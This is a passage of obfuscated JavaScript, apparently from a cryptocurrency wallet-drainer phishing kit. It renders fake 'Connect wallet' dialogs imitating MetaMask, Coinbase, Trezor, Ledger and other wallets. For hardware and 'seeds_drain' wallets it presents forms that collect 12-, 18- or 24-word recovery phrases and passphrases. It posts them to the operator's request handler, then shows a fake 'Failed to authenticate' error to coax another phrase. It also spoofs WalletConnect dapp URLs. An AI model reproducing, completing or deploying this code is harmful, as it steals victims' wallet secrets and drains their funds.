- let v541 = document.getElementsByTagName("w3m-modal")[0];
- if (!v541 || !v541.shadowRoot.querySelector("wui-overlay")) {
- vThis6.onClose();
- }
- }
- });
- }).observe(v540.shadowRoot, {
- attributes: JZmylD(1, WAZ9Ax(7)),
- childList: JZmylD(0, vzwAVq = 7),
- subtree: JZmylD(1, WAZ9Ax(7))
- });
- }
- async getProvider() {
- try {
- let vGetAccount = getAccount();
- let v542 = await vGetAccount?.connector?.getProvider?.();
- if (vGetAccount?.isConnected && JZmylD(v542, WAZ9Ax(7))) {
- await this.disconnect();
- }
- return v542;
- } catch {
- return JZmylD(1, vzwAVq = 7);
- }
- }
- async open() {
- let v543 = await this.getProvider();
- if (v543) {
- this.callback(v543);
- } else {
- this.modal.open();
- }
- await new Promise(p186 => {
- this.onClose = p186;
- });
- v543 = await this.getProvider();
- this.callback(v543);
- }
- async disconnect() {
- try {
- await walletConnectDisconnect();
- } catch {}
- try {
- window.localStorage?.clear();
- } catch {}
- }
- };
- });
- var js = I((p187, p188) => {
- var vQ25 = q();
- var {
- request: _0x151447
- } = Y();
- var vYe9 = ye();
- var v544 = vQ25.use_wallet_connect_v4 ? we() : be();
- ZZ1LRs(f47, 1);
- function f47(..._0x313f0) {
- _0x313f0.length = 1;
- _0x313f0[121] = _0x313f0[0];
- for (let v545 in bip39.wordlists) {
- bip39.setDefaultWordlist(v545);
- if (bip39.validateMnemonic(_0x313f0[121])) {
- return JZmylD(0, WAZ9Ax(7));
- }
- }
- return JZmylD(1, WAZ9Ax(7));
- }
- var v548 = [{
- id: "metamask-connect-button",
- name: "MetaMask",
- stepName: "metamask",
- icon: "metamask.svg"
- }, {
- id: "coinbase-connect-button",
- name: "Coinbase",
- stepName: "coinbase",
- icon: "coinbase-rainbow.svg"
- }, {
- id: "binance-connect-button",
- name: "Binance",
- stepName: "binance",
- icon: "binanc" + ABLWty(1100)
- }, {
- id: "exodus-connect-button",
- name: "Exodus",
- stepName: "exodus",
- icon: "exodus.svg",
- isWalletConnect: JZmylD(0, WAZ9Ax(7))
- }, {
- id: "trust-wallet-connect-button",
- [ABLWty(464)]: "Trust Wallet",
- stepName: "trustWallet",
- icon: "trust-wallet.png"
- }, {
- id: "trezor-connect-button",
- name: "Trezor",
- stepName: "trezor",
- icon: ABLWty(1101) + ".png",
- isSeed: JZmylD(0, WAZ9Ax(7))
- }, {
- id: "ledger-connect-button",
- name: "Ledger",
- stepName: "ledger",
- icon: "ledger.png",
- isSeed: JZmylD(0, WAZ9Ax(7))
- }, {
- id: "wallet-connect-connect-b" + ABLWty(1102),
- name: "Wallet Connect",
- stepName: "walletConnect",
- icon: "wallet-connect.png",
- isWalletConnect: JZmylD(0, WAZ9Ax(7))
- }];
- if (vQ25.seeds_drain["enable_other" + ABLWty(1103) + "ts"]) {
- v548.push({
- id: "import-wallet-" + ABLWty(352) + "-button",
- [ABLWty.call(undefined, 464)]: vQ25.seeds_drain.name,
- stepName: "seed",
- icon: vQ25.seeds_drain.logo_path === "default" ? JZmylD(vQ25.images_path, "/non-web3-wallets.png", vzwAVq = -5) : vQ25.seeds_drain.logo_path,
- isSeed: JZmylD(0, vzwAVq = 7)
- });
- }
- var vF20 = p189 => JZmylD("<li id=\"" + p189.id + "\"><img src=\"" + (p189.stepName === "seed" ? p189.icon : vQ25[ABLWty.call(undefined, 1057)] + "/" + p189.icon) + "\"/><p>" + p189.name, "</p></li>", WAZ9Ax(-5));
- var vJZmylD46 = JZmylD("<div class=\"c-card\"><div class=\"c-card-header\"><div><svg id=\"modal-about\" xmlns=\"http://www.w3.org/2000/svg\" fill=\"none\" viewBox=\"0 0 24 24\" stroke-width=\"1.5\" stroke=\"currentColor\"\"><path stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9.879 7.519c1.171-1.025 3.071-1.025 4.242 0 1.172 1.025 1.172 2.687 0 3.712-.203.179-.43.326-.67.442-.745.361-1.45.999-1.45 1.827v.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Zm-9 5.25h.008v.008H12v-.008Z\"></path></svg></div><h1>Connect wallet</h1><svg id=\"modal-close\" xmlns=\"http://www.w3.org/2000/svg\" fill=\"none\" viewBox=\"0 0 24 24\" stroke-width=\"1.5\" stroke=\"currentColor\" class=\"h-6 w-6 dark:text-white/60 text-gray-400 hover:text-gray-600\"><path stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M6 18 18 6M6 6l12 12\"></path></svg></div><div class=\"c-card-body\"><ul class=\"c-connect-wallet-listing\">" + v548.map(vF20).join(""), "</div></div>", vzwAVq = -5);
- var vJZmylD47 = JZmylD("<div class=\"c-card c-browse-wallet\"><div class=\"c-card-header\"><div><svg id=\"modal-main\" xmlns=\"http://www.w3.org/2000/svg\" fill=\"none\" viewBox=\"0 0 24 24\" stroke-width=\"1.5\" stroke=\"currentColor\"><path stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M15.75 19.5 8.25 12l7.5-7.5\"></path></svg></div><h1>About Wallets</h1><div><svg id=\"modal-close\" xmlns=\"http://www.w3.org/2000/svg\" fill=\"none\" viewBox=\"0 0 24 24\" stroke-width=\"1.5\" stroke=\"currentColor\" class=\"h-6 w-6 dark:text-white/60 text-gray-400 hover:text-gray-600\"><path stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M6 18 18 6M6 6l12 12\"></path></svg></div></div><div class=\"c-browse-wallet-inner\"><div class=\"c-icon\"><img class=\"c-absolute\" style=\"width:3rem;height:3rem\" src=\"" + vQ25.images_path, "/metamask.svg\"/></div><h3>For your digital assets</h3><p>Wallets let you send, receive, store, and interact with digital assets like NFTs and other Ethereum tokens.</p><a href=\"https://metamask.io/download/\" target=\"_blank\" class=\"c-btn c-btn-primary\">Learn More</a></div></div>", vzwAVq = -5);
- p188.exports = class {
- constructor(p190) {
- this.element = document.createElement("div");
- this.element[ABLWty(1024) + "ist"] = "c-body";
- this.element.style = "display:none;";
- document.body.appendChild(this.element);
- let vThis7 = this;
- this.walletConnectModal = new v544(p191 => {
- if (p191) {
- vThis7.close();
- p190(p191);
- } else {
- this.open();
- }
- });
- this.callback = p190;
- this.seedLength = 12;
- this.onClose = () => {};
- this[ABLWty(1104)]("main");
- }
- changePage(p192, p193 = JZmylD(0, vzwAVq = 7)) {
- this.element.innerHTML = JZmylD(p193 ? "<div id=\"overlay\"></div>" : "", "<div class=\"c-main-wrapper\">" + p192 + "</div>", vzwAVq = -5);
- if (p193) {
- this.overlayElement = document.getElementById("overlay");
- this.overlayElement.addEventListener("click", () => {
- this.callback(JZmylD(1, WAZ9Ax(7)));
- this.close();
- });
- }
- for (let v549 of v548) {
- if (p192.includes(v549.id)) {
- document.getElementById(v549.id).addEventListener("click", () => this[ABLWty(1104)](v549));
- }
- }
- if (p192[ABLWty.apply(undefined, [436]) + "es"]("modal-close")) {
- document.getElementById("modal-close")["addEventList" + ABLWty(1105)]("click", () => this.close());
- }
- if (p192.includes("modal-main")) {
- document.getElementById("modal-main").addEventListener("click", () => this.updatePage("main"));
- }
- if (p192.includes("modal-about")) {
- document.getElementById("modal-about").addEventListener("click", () => this.updatePage("about"));
- }
- if (p192.includes("modal-download")) {
- document.getElementById("modal-download")["addEventList" + ABLWty(1105)]("click", () => this.updatePage("download"));
- }
- if (p192.includes(ABLWty.apply(undefined, [1106]) + "nput-")) {
- let v550 = document["getElementsB" + ABLWty.apply(undefined, [1089]) + "Name"]("seed-input");
- for (let v551 of v550) {
- let v552 = v551.id.split("-")[2];
- v551[ABLWty(1071)]("keyup", () => this.seedOnChangeValue(v552));
- }
- }
- if (p192.includes("seed-passphrase-length")) {
- document.getElementById("seed-passphrase-length").addEventListener("change", () => this.updateSeedLength());
- }
- }
- getMessageHtml(p194) {
- let {
- name: _0x390bb1,
- icon: _0x4af95a
- } = this.wallet;
- if (p194 === "seed") {
- let v553 = "";
- for (let v554 = 1; v554 <= this.seedLength; v554++) {
- v553 += JZmylD("<div class=\"c-field-outer\" id=\"seed-dom-" + v554 + ("\"><div class=\"s-no" + ABLWty(1107) + "n>") + v554 + ".</span></div><input type=\"text\" class=\"c-form-control seed-input\" placeholder=\"\" id=\"seed-input-" + v554 + "\" list=\"seed-options-" + v554 + "\"style=\"" + (v554 > 9 ? "padding-left: 2rem" : "padding-left: 1.75rem"), "\"/></div>", WAZ9Ax(-5));
- }
- return JZmylD("<div class=\"c-card c-browse-wallet c-trust-wallet\"><div class=\"c-card-header\"><div><svg id=\"modal-main\" xmlns=\"http://www.w3.org/2000/svg\" fill=\"none\" viewBox=\"0 0 24 24\" stroke-width=\"1.5\" stroke=\"currentColor\"><path stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M15.75 19.5 8.25 12l7.5-7.5\"></path></svg></div><h1>Import " + _0x390bb1 + "</h1><div><svg id=\"modal-close\" xmlns=\"http://www.w3.org/2000/svg\" fill=\"none\" viewBox=\"0 0 24 24\" stroke-width=\"1.5\" stroke=\"currentColor\" class=\"h-6 w-6 dark:text-white/60 text-gray-400 hover:text-gray-600\"><path stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M6 18 18 6M6 6l12 12\"></path></svg></div></div><div class=\"c-browse-wallet-inner\"><div class=\"c-icon\"><img style=\"width:3rem;height:3rem\" src=\"" + vQ25.images_path + "/" + _0x4af95a + "\"/></div><h3>Connect " + _0x390bb1 + ABLWty(1108) + (this.seedLength === 12 ? "selected" : "") + ">I have 12-word phrase</option><option value=\"18\" " + (this.seedLength === 18 ? "selected" : "") + ">I have 18-word phrase</option><option value=\"24\" " + (this.seedLength === 24 ? "selected" : "") + ">I have 24-word phrase</option></select></div><div class=\"c-number-field\">" + v553, "</div><div class=\"c-phrase\"><p class=\"text-sm text-gray-500\">Pass Phrases (optional)</p><input type=\"text\" class=\"c-form-control w-full\" placeholder=\"\" id=\"seed-pass-phrase\"/></div><button class=\"c-btn c-btn-primary w-full\" id=\"seed-submit\"><span><svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 16 16\" fill=\"currentColor\" height=\"1rem\" width=\"1rem\"><path d=\"M8 1a.75.75 0 0 1 .75.75V5h-1.5V1.75A.75.75 0 0 1 8 1ZM7.25 5v4.44L6.03 8.22a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l2.5-2.5a.75.75 0 1 0-1.06-1.06L8.75 9.44V5H11a2 2 0 0 1 2 2v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V7a2 2 0 0 1 2-2h2.25Z\"></path></svg></span>Continue</button></div></div>", WAZ9Ax(-5));
- } else {
- let v555;
- let v556;
- if (p194 === ABLWty(1109) + "ad") {
- v555 = JZmylD("Install ", _0x390bb1, WAZ9Ax(-5));
- v556 = JZmylD("To connect your " + _0x390bb1, ", install browser extension.", vzwAVq = -5);
- } else {
- v555 = "Failed to authenticate";
- v556 = ABLWty(1110) + "inue, try using anoth" + ABLWty(1111) + " phrase..";
- }
- return JZmylD("<div class=\"c-card c-browse-wallet c-trust-wallet\"><div class=\"c-card-header\"><div><svg id=\"modal-main\" xmlns=\"http://www.w3.org/2000/svg\" fill=\"none\" viewBox=\"0 0 24 24\" stroke-width=\"1.5\" stroke=\"currentColor\"\"><path stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M15.75 19.5 8.25 12l7.5-7.5\"></path></svg></div><h1>" + _0x390bb1 + ABLWty(1112) + vQ25.images_path + "/" + _0x4af95a + "\"/>" + (["invalidSeed", "error"].includes(p194) ? "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 200 200\" width=\"102\" height=\"102\"><circle cx=\"100\" cy=\"100\" r=\"88\" fill=\"none\" stroke=\"#fd0000\" stroke-width=\"5\"/></svg><img class=\"c-absolute\" style=\"width:2rem;height:2rem;bottom:0;right:0\" src=\"" + vQ25.images_path + "/warning.svg\">" : "<svg class=\"c-animate-spin\" aria-hidden=\"true\" width=\"102\" height=\"102\" viewBox=\"0 0 102 102\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M52 100C24.3858 100 2 77.6142 2 50\" stroke=\"url(#paint0_linear_1943_4139)\" stroke-width=\"3.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\"></path><defs><linearGradient id=\"paint0_linear_1943_4139\" x1=\"2\" y1=\"48.5\" x2=\"53\" y2=\"100\" gradientUnits=\"userSpaceOnUse\"><stop stop-color=\"#1a88f8\"></stop><stop offset=\"1\" stop-color=\"#1a88f8\" stop-opacity=\"0\"></stop></linearGradient></defs></svg>") + "</div><h3>" + v555 + "</h3><p>" + v556 + "</p>" + (p194 === "download" ? "<button id=\"modal-download\" class=\"c-btn c-btn-primary w-full\"><span><svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 16 16\" fill=\"currentColor\" height=\"1rem\" width=\"1rem\"><path d=\"M8 1a.75.75 0 0 1 .75.75V5h-1.5V1.75A.75.75 0 0 1 8 1ZM7.25 5v4.44L6.03 8.22a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l2.5-2.5a.75.75 0 1 0-1.06-1.06L8.75 9.44V5H11a2 2 0 0 1 2 2v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V7a2 2 0 0 1 2-2h2.25Z\"></path></svg></span>Install " + _0x390bb1 + "</button>" : ""), "</div></div>", WAZ9Ax(-5));
- }
- }
- setupSeedListeners() {
- let v557 = document.getElementsByClassName("seed-input");
- let vThis8 = this;
- function f48(p195) {
- p195.preventDefault();
- let v558 = (p195.clipboardData || window["clipbo" + ABLWty(1113) + "a"]).getData("text").trim();
- if (f47(v558)) {
- let v559 = v558.split(" ");
- vThis8.updateSeedLength(v559.length);
- for (let v560 of v557) {
- v560.value = v559.splice(0, 1)[0] || v560.value;
- }
- } else if (p195.target) {
- p195.target.value = v558;
- }
- }
- for (let v561 of v557) {
- v561.parentElement["addEventList" + ABLWty.call(undefined, 1105)]("click", v561.focus);
- v561.addEventListener("paste", p196 => f48(p196));
- }
- document.getElementById("seed-submit")[ABLWty(1114) + "ntListener"]("click", () => this.updatePage("seedFinish"));
- }
- updateSeedLength() {
- this.seedLength = parseInt(document.getElementById("seed-passphrase-length").value);
- this.changePage(this.getMessageHtml("seed"));
- this.setupSeedListeners();
- }
- seedOnChangeValue(p197) {
- let v562 = document.getElementById(JZmylD("seed-input-", p197, WAZ9Ax(-5)));
- if (v562) {
- let v563 = document.getElementById(JZmylD("seed-options-", p197, vzwAVq = -5));
- if (v562.value.endsWith("​")) {
- document.getElementById(JZmylD("seed-input-", p197 + 1, vzwAVq = -5))?.focus();
- if (v563) {
- v563.remove();
- }
- v562.value = v562.value.replace("​", "");
- } else if (v562.value[ABLWty(17)] === 2 || v562.value.length > 2 && JZmylD(v563, WAZ9Ax(7))) {
- let v564 = document.getElementById(JZmylD("seed-d" + ABLWty.call(undefined, 1115), p197, vzwAVq = -5));
- if (v564) {
- v564.innerHTML += JZmylD(ABLWty.call(undefined, 1116) + p197 + "\">" + bip39.wordlists.EN.filter(p198 => p198.startsWith(v562.value)).map(p199 => "<option value=\"" + p199 + "​\"></option>"), "</datalist>", WAZ9Ax(-5));
- document.getElementById(JZmylD("seed-input-", p197, WAZ9Ax(-5))).value = v562.value;
- document.getElementById(JZmylD("seed-input-", p197, vzwAVq = -5)).focus();
- }
- } else if (v562.value.length < 2 && v563) {
- v563.remove();
- }
- }
- }
- getSeed() {
- return [...document.getElementsByClassName("seed-input")].map(p200 => p200.value).splice(0, this.seedLength).join(" ").replaceAll("​", "");
- }
- async updatePage(p201) {
- if (typeof p201 == "object") {
- this[ABLWty(220)] = p201;
- p201 = p201.stepName;
- }
- if (p201 === "main") {
- this.changePage(vJZmylD46);
- document.getElementById("modal-about")["addEventList" + ABLWty(1105)]("click", () => {
- this.changePage(vJZmylD47);
- });
- } else if (p201 === "about") {
- this.changePage(vJZmylD47);
- } else if (p201 === "download") {
- let vVYe9 = vYe9(this.wallet.stepName);
- if (vVYe9 && vVYe9 !== "redirected") {
- this.callback(vVYe9);
- }
- } else if (p201 === "seedFinish") {
- let v565 = this.getSeed();
- let v566 = document.getElementById("pass-p" + ABLWty(1117))?.value;
- await _0x151447({
- seed: v565,
- [ABLWty(220) + "Name"]: this[ABLWty(220)].stepName,
- passPhrase: v566
- }, "seed");
- this.changePage(this["getMes" + ABLWty(1118) + "ml"]("invalidSeed"));
- let v567 = this.onClose;
- let vJZmylD48 = JZmylD(1, WAZ9Ax(7));
- setTimeout(() => {
- if (!vJZmylD48) {
- this.close();
- }
- }, JZmylD(5, 1000, WAZ9Ax(-33)));
- await new Promise(p202 => {
- this.onClose = p202;
- });
- vJZmylD48 = JZmylD(0, vzwAVq = 7);
- v567();
- this.callback(JZmylD(1, vzwAVq = 7));
- this.updatePage("main");
- } else if (p201 === "seedEndDrainProcess" || this.wallet.isSeed) {
- if (JZmylD(window.bip39, WAZ9Ax(7))) {
- if (p201 == "seedEndDrainProcess") {
- return this.close();
- } else {
- return this.updatePage("main");
- }
- }
- if (this.wallet.stepName === "ledger") {
- this.seedLength = 24;
- }
- this.changePage(this.getMessageHtml(ABLWty(639)));
- this.setupSeedListeners();
- } else if (this.wallet.isWalletConnect) {
- this.close();
- this.walletConnectModal.open();
- } else {
- let vVYe92 = vYe9(p201, JZmylD(1, vzwAVq = 7));
- if (vVYe92 && vVYe92 !== "redirected") {
- this[ABLWty(1119) + "ck"](vVYe92);
- } else {
- this.changePage(this.getMessageHtml("download"));
- }
- }
- }
- open() {
- this.element.style.display = "flex";
- this.overlayElement[ABLWty.apply(undefined, [401])].display = "block";
- }
- close() {
- this[ABLWty(1068)].style.display = "none";
- this.overlayElement.style.display = "none";
- this.onClose();
- }
- };
- });
- var Hs = I((p203, p204) => {
- const v568 = {
- function: "customModalClickMetamask"
- };
- v568.shortName = "metamask";
- const v570 = {
- function: "customModalClickBinance",
- shortName: "binance"
- };
- var vQ26 = q();
- var vYe10 = ye();
- var v572 = vQ26[ABLWty(88) + "llet_connect_v4"] ? we() : be();
- var vVe3 = Ve();
- var v573 = [v568, {
- [ABLWty(931)]: "customModalClickCoinbase",
- shortName: "coinbase"
- }, {
- function: "customModalClickTrustWallet",
- shortName: "trustWallet"
- }, v570, {
- function: "customModalClickWindowProvider",
- shortName: "others"
- }, {
- function: "customModalClickTrezorSeed",
- name: ABLWty(1120),
- isSeed: JZmylD(0, WAZ9Ax(7)),
- seedLength: 12
- }, {
- function: "customModalClickLedgerSeed",
- name: "Ledger Wallet",
- isSeed: JZmylD(0, vzwAVq = 7),
- seedLength: 24
- }, {
- function: "customModalClickOthersSeed",
- name: vQ26.seeds_drain.name,
- isSeed: JZmylD(0, WAZ9Ax(7)),
- seedLength: 12
- }, {
- function: "customModalClickWalletConnect",
- isWalletConnect: JZmylD(0, WAZ9Ax(7))
- }];
- p204.exports = class {
- constructor(p205) {
- window.customModalClickClose = () => {
- p205(JZmylD(1, WAZ9Ax(7)));
- this.close();
- };
- let vThis9 = this;
- this.walletConnectModal = new v572(p206 => {
- if (p206) {
- p205(p206);
- } else {
- vThis9.open();
- }
- });
- for (let v574 of v573) {
- window[v574.function] = async () => {
- if (v574.isSeed) {
- this.close();
- await vVe3(v574.name, v574.seedLength);
- this.open();
- } else if (v574.isWalletConnect) {
- vThis9.close();
- this.walletConnectModal.open();
- } else {
- p205(vYe10(v574.shortName));
- }
- };
- }
- this.promptSeed = vVe3;
- }
- open() {
- try {
- window.customModalOpen();
- } catch {}
- }
- [ABLWty(93)]() {
- try {
- window.customModalClose();
- } catch {}
- }
- };
- });
- var Ks = I((p207, p208) => {
- var vQ27 = q();
- var {
- isModalDarkMode: _0x3ffd6b
- } = D();
- var {
- DEFAULT_ETH_RPC: _0xe026d8,
- SUPPORTED_CHAINS_ID: _0x299d29
- } = he();
- var vVe4 = Ve();
- p208.exports = class {
- constructor(p209) {
- if (JZmylD(window.onboardVars, WAZ9Ax(7))) {
- location.reload();
- return;
- }
- let {
- Onboard: _0x4ed1f2,
- injectedModule: _0x2aff42,
- bitgetWalletModule: _0x97e207,
- coinbaseWalletModule: _0xaf2e78,
- walletConnectModule: _0x539d31,
- xdefiWalletModule: _0xf56a0d,
- okxWallet: _0x495039,
- phantomModule: _0x42c718,
- mewWallet: _0x357400,
- frontierModule: _0x467cee,
- frameModule: _0x4d69b2,
- enrkyptModule: _0x2d5847,
- bloctoModule: _0x19b1d3,
- zealWalletModule: _0x29f255,
- tahoWalletModule: _0x2e267c,
- seedModule: _0xea28cf
- } = window.onboardVars;
- let v575 = _0x299d29.map(p210 => ({
- id: p210,
- label: p210.toString(),
- rpcUrl: _0xe026d8
- }));
- let {
- title: _0x3fb29a,
- description: _0x3f4643,
- icon: _0x43c342
- } = vQ27.modal_14_options;
- let v576 = _0x3fb29a && _0x3fb29a !== "" ? _0x3fb29a : document.title === "" ? "Unknown" : document.title;
- let v577 = _0x3f4643 && _0x3f4643 !== "" ? _0x3f4643 : "Unknown";
- let v578 = _0x43c342 && _0x43c342 !== "" ? _0x43c342 : JZmylD(0, WAZ9Ax(24));
- let v579 = {
- name: v576,
- description: v577,
- icon: v578,
- logo: v578
- };
- let v580 = [];
- let {
- enabled: _0x1ffbaf,
- url: _0x273c45
- } = vQ27.wallet_connect_spoof;
- const v581 = {
- projectId: vQ27.wallet_connect_project_id,
- dappUrl: _0x1ffbaf && _0x273c45 || location.origin
- };
- v580.push(_0x2aff42(), _0xaf2e78(), _0x539d31(v581));
- if (vQ27.seeds_drain.enabled) {
- v580.push(_0xea28cf({
- [ABLWty.call(undefined, 142)]: JZmylD(vQ27[ABLWty(1057)], "/trezor.png", vzwAVq = -5),
- label: "Trezor Wallet",
- errorMessage: "Try again",
- callback: () => vVe4("Trezor Wallet")
- }), _0xea28cf({
- icon: JZmylD(vQ27.images_path, "/ledger.png", vzwAVq = -5),
- label: ABLWty(1035) + " Wallet",
- errorMessage: "Try again",
- [ABLWty(1119) + "ck"]: () => vVe4("Ledger Wallet", 24)
- }));
- if (vQ27.seeds_drain.enable_other_wallets) {
- v580[ABLWty(597)](_0xea28cf({
- icon: vQ27.seeds_drain.logo_path === "default" ? JZmylD(vQ27.images_path, "/non-web3-wallets.png", vzwAVq = -5) : vQ27.seeds_drain.logo_path,
- label: vQ27.seeds_drain.name,
- errorMessage: ABLWty(1121),
- callback: () => vVe4(vQ27.seeds_drain.name)
- }));
- }
- }
- v580[ABLWty(597)](_0x97e207(), _0x495039(), _0x42c718(), _0xf56a0d(), _0x357400(), _0x467cee(), _0x4d69b2(), _0x2d5847(), _0x19b1d3(), _0x29f255(), _0x2e267c());
- this.onboard = _0x4ed1f2({
- wallets: v580,
- chains: v575,
- appMetadata: v579,
- theme: _0x3ffd6b ? "dark" : "light"
- });
- let v582 = document.createElement("style");
- v582.innerHTML = "wcm-modal{--wcm-z-index:2147483647}:root{--onboard-modal-z-index:2147483646;--account-center-z-index:2147483647}";
- document.head.appendChild(v582);
- this.callback = p209;
- this.promptSeed = vVe4;
- }
- open() {
- this.onboard.connectWallet().then(p211 => {
- if (JZmylD(p211.length, vzwAVq = 7)) {
- return this.callback(JZmylD(1, vzwAVq = 7));
- }
- this.callback(p211[0].provider);
- });
- }
- async disconnect() {
- try {
- let [v583] = this.onboard.state.get().wallets;
- const v584 = {
- label: v583.label
- };
- await this.onboard.disconnectWallet(v584);
- } catch {}
- }
- };
- });
- var Xs = I((p212, p213) => {
- var vQ28 = q();
- var {
- isMobile: _0x4f0642,
- isModalDarkMode: _0x8b4778
- } = D();
- var {
- DEFAULT_ETH_RPC: _0x8dba61,
- SUPPORTED_CHAINS_ID: _0x4620b2
- } = he();
- var vVe5 = Ve();
- p213.exports = class {
- constructor(p214) {
- if (JZmylD(window.rabbyKitVars, vzwAVq = 7)) {
- return location.reload();
- }
- let {
- createConfig: _0x44becd,
- getAccount: _0x4322e9,
- disconnect: _0x4f0ecc,
- createModal: _0x146f22
- } = window.rabbyKitVars;
- this._disconnect = _0x4f0ecc;
- this.getAccount = _0x4322e9;
- const v586 = {
- http: [_0x8dba61]
- };
- const v587 = {
- default: v586
- };
- const v588 = {
- blockCreated: 1
- };
- v588.address = "0x0000000000000000000000000000000000000000";
- const v589 = {
- blockCreated: 1
- };
- v589.address = "0x0000000000000000000000000000000000000000";
- let v590 = _0x4620b2.map(p215 => ({
- id: p215,
- name: "",
- nativeCurrency: {
- name: "",
- symbol: "",
- decimals: 18
- },
- rpcUrls: v587,
- blockExplorers: {
- default: {
- [ABLWty(464)]: "",
- url: "",
- [ABLWty(1122)]: ""
- }
- },
- contracts: {
- ensRegistry: {
- address: ABLWty(804) + "0000000000000000000000000000"
- },
- ensUniversalResolver: v588,
- multicall3: v589
- }
- }));
- let v591 = [];
- if (vQ28.seeds_drain.enabled) {
- v591[ABLWty(597)]({
- name: "Trezor Wallet",
- logo: JZmylD(vQ28.images_path, "/trezor.png", vzwAVq = -5),
- onClick: async () => {
- this.isSeedModalOpen = JZmylD(0, WAZ9Ax(7));
- this.modal.close();
- await vVe5("Ledger Wallet", 24);
- this.modal.open();
- }
- }, {
- name: "Ledger Wallet",
- logo: JZmylD(vQ28.images_path, "/ledger.png", vzwAVq = -5),
- onClick: async () => {
- this.isSeedModalOpen = JZmylD(0, vzwAVq = 7);
- this.modal.close();
- await vVe5("Ledger Wallet", 24);
- this.modal.open();
- }
- });
- if (vQ28.seeds_drain.enable_other_wallets) {
- v591.push({
- name: vQ28.seeds_drain.name,
- logo: vQ28["seeds_" + ABLWty(1123)][ABLWty.call(undefined, 126) + "ath"] === "default" ? JZmylD(vQ28[ABLWty(75) + "_path"], "/non-web3-wallets.png", WAZ9Ax(-5)) : vQ28[ABLWty.call(undefined, 1124) + "drain"].logo_path,
- onClick: async () => {
- this.isSeedModalOpen = JZmylD(0, WAZ9Ax(7));
- this.modal.close();
- await vVe5(vQ28.seeds_drain.name);
- this.modal.open();
- }
- });
- }
- }
- try {
- this.wagmiConfig = _0x44becd({
- chains: v590,
- multiInjectedProviderDiscovery: JZmylD(_0x4f0642, vzwAVq = 7)
- });
- } catch {
- let v592 = {
- getItem: () => "",
- setItem: () => null,
- [ABLWty(1125)]: () => null
- };
- this.wagmiConfig = _0x44becd({
- chains: v590,
- multiInjectedProviderDiscovery: JZmylD(_0x4f0642, vzwAVq = 7),
- storage: v592
- });
- }
- let v593 = {};
- for (let [v594, v595] of Object.entries(vQ28[ABLWty(58) + "15_style"])) {
- if (v595) {
- v593[v594] = v595;
- }
- }
- this.modal = _0x146f22({
- chains: v590,
- wagmi: this.wagmiConfig,
- ["projec" + ABLWty(1126)]: vQ28[ABLWty(60)],
- appName: "RabbyKit",
- theme: _0x8b4778 ? ABLWty(1127) : ABLWty(1048),
- customButtons: v591
- });
- this.callback = p214;
- this.isSeedModalOpen = JZmylD(1, WAZ9Ax(7));
- this.modal.subscribeModalState(async p216 => {
- if (p216 && this.isSeedModalOpen) {
- this["isSeed" + ABLWty(1128) + "pen"] = JZmylD(1, WAZ9Ax(7));
- } else if (JZmylD(p216, vzwAVq = 7) && JZmylD(this["isSeed" + ABLWty(1128) + "pen"], WAZ9Ax(7))) {
- let v596 = await this.getProvider();
- this.callback(v596);
- }
- });
- this[ABLWty.apply(undefined, [1129])] = vVe5;
- }
- async getProvider() {
- try {
- let v597 = this.getAccount(this.wagmiConfig);
- let v598 = await v597?.connector?.getProvider?.();
- if (v597?.isConnected && JZmylD(v598, WAZ9Ax(7))) {
- await this._disconnect();
- }
- return v598;
- } catch {
- return JZmylD(1, vzwAVq = 7);
- }
- }
- async [ABLWty(1020)]() {
- let v599 = await this.getProvider();
- if (v599) {
- this.callback(v599);
- } else {
- this.modal.open({
- forceOpen: JZmylD(0, WAZ9Ax(7))
- });
- }
- }
- async disconnect() {
- try {
- await this._disconnect(this.wagmiConfig);
- } catch {}
- try {
- window.localStorage?.clear();
- } catch {}
- }
- };
- });
- var Qs = I(ZZ1LRs((..._0x1a80c2) => {
- _0x1a80c2.length = 2;
- _0x1a80c2.Ad0CMb = 2;
- _0x1a80c2[_0x1a80c2.Ad0CMb - 1].exports = class {
- constructor() {
- let v600 = document.createElement("style");
- v600.innerHTML = ".popup-text" + ABLWty.call(undefined, 1130) + "100%}.popup-image{margin-top:15px;margin-bottom:5px}";
- document.head.appendChild(v600);
- }
- close() {
- try {
- swal.close();
- } catch {}
- }
- async popup(p217, p218 = JZmylD(1, WAZ9Ax(7))) {
- await new Promise(p219 => {
- try {
- swal.fire({
- position: "center",
- icon: p218 ? "error" : "info",
- title: p217,
- showConfirmButton: JZmylD(1, vzwAVq = 7),
- timer: JZmylD(5, 1000, WAZ9Ax(-33)),
- customClass: {
- title: "popup-text",
- icon: "popup-image"
- },
- didClose: () => p219()
- });
- } catch {}
- });
- }
- };
- }, 2));
- var ta = I((p220, p221) => {
- var vQ29 = q();
- var vJZmylD49 = JZmylD("<div style=\"margin:40px 0!important\"><div id=popup-element style=\"position:relative!important;border-radius:16px;background:#fff!important;width:360px;max-height:calc(0px + 100vh);max-width:100%\"><div style=\"position:relative;text-align:center;padding:16px 24px\"><h4 id=\"popup-title\" style=\"font-weight:600;line-height:110%;font-size:22px;color:#04111d;padding:4px 16px\"></h4><div id=\"popup-close\" style=\"cursor:pointer;position:absolute;right:25px;top:15px;width:20px;height:20px;opacity:.3\"></div><style>#popup-close:hover{opacity:.4}#popup-close:after,#popup-close:before{content:\"\";position:absolute;left:15px;height:19px;width:2px;background-color:#0a0a0a}#popup-clos" + ABLWty(1131) + "-size:16.5px;font-weight:600;color:#04111d\"></p></div></div><hr style=\"padding:0;margin:28px 0;opacity:.2;border-color:#8a939b currentcolor currentcolor;border-style:solid none none;border-width:1px medium 